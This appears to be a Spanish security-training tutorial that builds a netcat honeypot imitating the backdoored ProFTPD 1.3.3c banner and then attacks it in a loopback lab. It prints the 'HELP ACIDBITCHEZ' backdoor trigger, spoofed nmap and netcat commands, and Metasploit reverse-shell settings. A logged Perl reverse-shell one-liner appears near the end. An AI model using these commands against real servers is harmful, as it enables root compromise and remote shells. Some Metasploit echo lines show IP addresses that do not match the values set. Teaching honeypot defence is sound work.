academia madesyp

HONEYPOT I – Servicio de FTP vulnerable emulado con NETCAT

Popularidad:	*4*
Simplicidad:	*10*
Impacto:	*7*
Nivel de Riesgo:	***0***

Objetivo:

Simular un honeypot con un servicio vulnerable (puerto 21 de FTP)

Herramientas necesarias:

Netcat para Windows (http://www.securityfocus.com/tools/139)
Putty para Windows (http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html)
Nmap para Windows (http://nmap.org/download.html)
Metaesploit para Windows (http://www.metasploit.com/download/)

Basado en:

ProFTPD (http://www.proftpd.org/)

Se basa en la vulnerabilidad de la versión 1.3.3c del código fuente que se troyanizó accediendo al servidor donde se encontraba alojado el proyecto y se distribuyó al resto que estaban sincronizados. (http://www.aldeid.com/wiki/Exploits/proftpd-1.3.3c-backdoor)

Montaje del Honeypot:

Generamos un fichero simulando la cabecera de conexión que envía el ProFTPD cuando un cliente se conecta

```
C:\HONEYPOT>echo 220 ProFTPD 1.3.3c Server (ProFTPD) > header.txt
```

Ponemos *netcat* a la escucha en el puerto 21 con conexión persistente sobre la IP 213.27.5.12 y monitorizando las actividades maliciosas en el fichero "log-honeypot-1.txt"

```
C:\HONEYPOT>type header.txt | nc –vvv –L –s 213.27.5.12 –p 21 >> log-
honeypot-1.txt
```

Conforme se vayan conectando, iremos viendo la información del atacante (IP) y los bytes recibidos y transmitidos de la sesión una vez que se cierre la conexión.

Ataques:

Escaneo con *nmap* para comprobar si hay una versión vulnerable:

```
C:\HONEYPOT>nmap –sT –sV –p 21 –v 213.27.5.12
```

Acceso por *telnet*:

```
C:\HONEYPOT>telnet 213.27.5.12 21
Trying 213.27.5.12...
Escape character is '^]'.
220 ProFTPD 1.3.3c Server (ProFTPD)
HELP ACIDBITCHEZ
```

En un servidor vulnerable, dicho comando hubiera provocado un acceso inmediato con privilegios de administrador como podríamos comprobar con el siguiente comando:

```
id;
uid=0(root) gid=0(root) groupes=65534(nogroup)
^]
```

Además, habremos observado que en Windows 7, el comando *telnet* ya no se encuentra "de serie" por lo que habrá que instalarlo desde las características de Windows y tampoco incorpora el "echo local" por lo que los comandos se "envían a ciegas". Por ello, preferimos el universal *putty*.

Habremos observado que nos conectamos con *telnet* empleamos nuestra dirección IP real, cosa que nos interesará "ocultar" por lo que volveremos a hacer uso de *netcat*, pero en éste caso, empleándolo como cliente. Igualmente, podríamos haber realizado el escaneo con *nmap* falseando nuestra dirección de origen añadiendo el modificador **–S 62.42.27.5**

```
C:\HONEYPOT>nc –s 62.42.27.5 –g 127.0.0.1 213.27.5.12 21
220 ProFTPD 1.3.3c Server (ProFTPD)
HELP ACIDBITCHEZ
```

Para finalizar la conexión, será necesario pulsar *CTRL+C*

Como podemos comprobar, en cualquier caso el honeypot no devuelve nada ya que no se encuentra diseñado para devolver respuestas simuladas, sino para registrar cualquier actividad maliciosa que se pueda llevar a cabo.

Acceso con Metaesploit:

Mediante la consola de *metaesploit*, intentaremos "explotar" el sistema vulnerable encontrado anteriormente:

```
C:\HONEYPOT>cd \metaesploit
C:\METAESPLOIT>dev_msfconsole
...
msf > use exploit/unix/ftp/proftpd_133c_backdoor
msf exploit(proftpd_133c_backdoor) > set PAYLOAD generic/shell_reverse_tcp
PAYLOAD => generic/shell_reverse_tcp
msf exploit(proftpd_133c_backdoor) > set LHOST 62.42.27.5
LHOST => 192.168.1.13
msf exploit(proftpd_133c_backdoor) > set RHOST 213.27.5.12
RHOST => 82.27.5.12
msf exploit(proftpd_133c_backdoor) > exploit
```

Revisión de resultados:

Terminaremos el honeypot instalado con *netcat* mediante *CTRL+C* y revisaremos las actividades maliciosas recogidas en el fichero de log:

```
C:\HONEYPOT>more log-honeypot-1.txt
```

Veremos resultados como:

```
QUIT
USER anonymous
HELP ACIDBITCHEZ
nohup perl -MIO -e '$p=fork;exit,if($p);$c=new
IO::Socket::INET(PeerAddr,"62.42.27.5:4444");STDIN->fdopen($c,r);$~-
>fdopen($c,w);system$_ while<>;' >/dev/null 2>&1
```

NOTA

Para poder realizar las conexiones con una máquina sin conexión de ningún tipo y poder realizar el spoofing de las direcciones IP empleadas en los ejemplos, es necesario instalar el adaptador de bucle local invertido de Microsoft según su artículo KB839013 para Windows XP (http://support.microsoft.com/kb/839013/es) aunque en la práctica, ha sido realizado con Windows 7. En dicho adaptador, pondremos las direcciones 213.27.5.12/24 y 62.42.27.5/8. Aunque pertenecen a rangos públicos asignados a ISP's, al ser un "loopback" nunca se podrán emplear en una red pública.